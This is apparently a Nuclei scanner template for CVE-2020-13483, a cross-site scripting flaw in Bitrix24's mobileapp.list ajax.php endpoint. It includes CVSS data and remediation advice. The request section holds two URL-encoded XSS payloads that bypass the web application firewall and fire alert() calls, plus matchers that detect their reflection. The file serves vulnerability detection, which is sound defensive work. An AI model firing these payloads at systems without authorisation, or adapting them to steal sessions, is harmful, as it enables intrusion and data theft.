57 lines
2.6 KiB
YAML
57 lines
2.6 KiB
YAML
id: CVE-2020-13483
|
|
|
|
info:
|
|
name: Bitrix24 <=20.0.0 - Cross-Site Scripting
|
|
author: pikpikcu,3th1c_yuk1
|
|
severity: medium
|
|
description: The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
|
|
remediation: |
|
|
Upgrade to a patched version of Bitrix24 (version >20.0.0) to mitigate this vulnerability.
|
|
reference:
|
|
- https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558
|
|
- https://twitter.com/brutelogic/status/1483073170827628547
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13483
|
|
- https://github.com/afinepl/research
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2020-13483
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00113
|
|
epss-percentile: 0.43845
|
|
cpe: cpe:2.3:a:bitrix24:bitrix24:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: bitrix24
|
|
product: bitrix24
|
|
tags: cve2020,cve,xss,bitrix,bitrix24
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=<a+href="/*">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>'
|
|
- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E'
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<a href="/*">*/)});function __MobileAppList(){alert(1)}//'
|
|
- "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
|
|
condition: or
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100c969dd14c4d494d022ccf2ee1851599d1a39f7853ce81508bbd20845162ddd8002205f3fb9d87eb78e066c23780860090f71d04bbfcc09ec204574049849d98b144c:922c64590222798bb761d5b6d8e72950 |